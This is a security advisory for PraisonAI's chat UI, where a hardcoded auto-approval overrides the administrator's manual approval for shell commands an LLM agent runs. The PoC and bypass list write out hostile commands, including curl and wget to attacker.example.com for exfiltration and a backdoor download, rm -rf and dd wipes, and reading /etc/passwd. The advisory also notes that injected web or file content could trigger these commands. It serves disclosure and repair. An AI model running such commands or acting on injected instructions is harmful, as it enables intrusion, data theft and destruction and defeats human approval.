GHSA-qwgj-rrpj-75xm

Summary

The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISONAPPROVALMODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.

Details

The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISONAPPROVALMODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.

However, both UI modules unconditionally override this after loading:

chat.py:156-159:

config = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto"        # hardcoded override, ignoring admin config

code.py:155-158:

config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto"        # same hardcoded override

This flows to agent_tools.py:347-348 in the acpexecutecommand function:

auto_approve = runtime.config.approval_mode == "auto"   # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)

The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:

result = subprocess.run(
    step.target,
    shell=True,           # shell execution
    capture_output=True,
    text=True,
    cwd=str(workspace),
    timeout=30
)

Command sanitization is insufficient. Two blocklists exist:

1. sanitizecommand() at agent_tools.py:60-86 blocks: $(,  ` , &&, ||, >>, >, |, ;, &, \n, \r
2. applystep() at action_orchestrator.py:449 blocks: ;, &, |, $,  ` 

Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.

PoC

Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.

## Step 1: Start the Chainlit UI
praisonai ui chat
## Step 2: Log in with default credentials at http://localhost:8000
## Username: admin
## Password: admin
## Step 3: Send a chat message requesting command execution:
## "Please run this command for me: cat /etc/passwd"
## The LLM agent calls acp_execute_command("cat /etc/passwd")
## _sanitize_command passes (no blocked patterns)
## approval_mode="auto" → auto-approved at agent_tools.py:347-348
## subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
## Contents of /etc/passwd returned in chat
## Step 4: Demonstrate the override of admin configuration:
## Even with PRAISON_APPROVAL_MODE=manual set in the environment,
## chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
## Commands still auto-approve because of the hardcoded override

Commands that bypass sanitization blocklists:

• rm -rf /home/user/documents — no blocked characters
• chmod 777 /etc/shadow — no blocked characters  
• curl http://attacker.example.com/exfil — no blocked characters
• wget http://attacker.example.com/backdoor -O /tmp/backdoor — no blocked characters
• python3 -c "import('os').unlink('/important/file')" — no blocked characters

Impact

• Arbitrary command execution: An authenticated user (or attacker with default admin/admin credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.
• Confidentiality breach: Read arbitrary files accessible to the process (/etc/passwd, application secrets, environment variables containing API keys).
• Integrity compromise: Modify or delete files, install backdoors, tamper with application code.
• Availability impact: Kill processes, consume disk/memory, delete critical data.
• Administrator control undermined: Even administrators who explicitly set PRAISONAPPROVALMODE=manual to require human approval have their configuration silently overridden, creating a false sense of security.
• Prompt injection vector: Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.

Recommended Fix

Remove the hardcoded override and respect the administrator's configured approval mode. In both chat.py and code.py:

## Before (chat.py:156-159):
config = ToolConfig.from_env()
config.workspace = os.getcwd()
config.approval_mode = "auto"  # Trust mode - auto-approve all tool executions
## After:
config = ToolConfig.from_env()
config.workspace = os.getcwd()
## Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig
## Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval

Additionally, strengthen sanitizecommand() to use an allowlist approach rather than a blocklist:

import shlex
ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"}
def _sanitize_command(command: str) -> str:
    # Existing blocklist checks...
    
    # Additionally, check the base command against allowlist
    try:
        parts = shlex.split(command)
    except ValueError:
        raise ValueError(f"Could not parse command: {command!r}")
    
    base_cmd = os.path.basename(parts[0]) if parts else ""
    if base_cmd not in ALLOWED_COMMANDS:
        raise ValueError(
            f"Command {base_cmd!r} is not in the allowed command list. "
            f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}"
        )
    
    return command